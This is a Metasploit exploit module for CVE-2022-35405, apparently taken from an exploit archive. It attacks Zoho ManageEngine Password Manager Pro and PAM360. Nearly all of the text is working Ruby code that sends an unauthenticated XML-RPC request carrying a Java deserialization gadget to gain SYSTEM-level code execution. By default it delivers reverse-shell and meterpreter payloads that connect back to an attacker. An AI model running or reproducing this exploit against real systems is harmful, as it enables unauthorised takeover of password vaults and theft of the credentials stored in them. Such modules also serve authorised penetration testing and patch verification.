Zoho Password Manager Pro XML-RPC Java Deserialization

2022.08.08
Credit: Grant Willcox
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::JavaDeserialization def initialize(info = {}) super( update_info( info, 'Name' => 'Zoho Password Manager Pro XML-RPC Java Deserialization', 'Description' => %q{ This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro before 12101 and PAM360 before 5510. Unauthenticated attackers can send a crafted XML-RPC request containing malicious serialized data to /xmlrpc to gain RCE as the SYSTEM user. }, 'Author' => [ 'Vinicius', # Discovery 'Y4er', # Writeup 'Grant Willcox' # Exploit ], 'References' => [ ['CVE', '2022-35405'], ['URL', 'https://xz.aliyun.com/t/11578'], # Writeup ['URL', 'https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html'], # Advisory ['URL', 'https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm'] # The patch. ], 'DisclosureDate' => '2022-06-24', # Vendor release date of patch and new installer, as advisory lacks any date. 'License' => MSF_LICENSE, 'Platform' => ['win'], 'Arch' => [ARCH_CMD, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Windows EXE Dropper', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } } ], [ 'Windows Powershell', { 'Arch' => ARCH_X64, 'Type' => :windows_powershell, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(7272), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check # Send an empty serialized object res = send_request_xmlrpc('') unless res return CheckCode::Unknown('Target did not respond to check.') end if res.body.include?('Failed to read result object: null') return CheckCode::Vulnerable('Target can deserialize arbitrary data.') end CheckCode::Safe('Target cannot deserialize arbitrary data.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :windows_command execute_command(payload.encoded) when :windows_dropper cmd_target = targets.select { |target| target['Type'] == :windows_command }.first execute_cmdstager({ linemax: cmd_target.opts['Space'] }) when :windows_powershell execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)) end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") res = send_request_xmlrpc( generate_java_deserialization_for_command('CommonsBeanutils1', 'cmd', cmd) ) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}") end print_good("Successfully executed command: #{cmd}") end def send_request_xmlrpc(data) # http://xmlrpc.com/ # https://ws.apache.org/xmlrpc/ send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/xmlrpc'), 'ctype' => 'text/xml', 'data' => <<~XML <?xml version="1.0"?> <methodCall> <methodName>#{rand_text_alphanumeric(8..42)}</methodName> <params> <param> <value> <struct> <member> <name>#{rand_text_alphanumeric(8..42)}</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable> </value> </member> </struct> </value> </param> </params> </methodCall> XML ) end end


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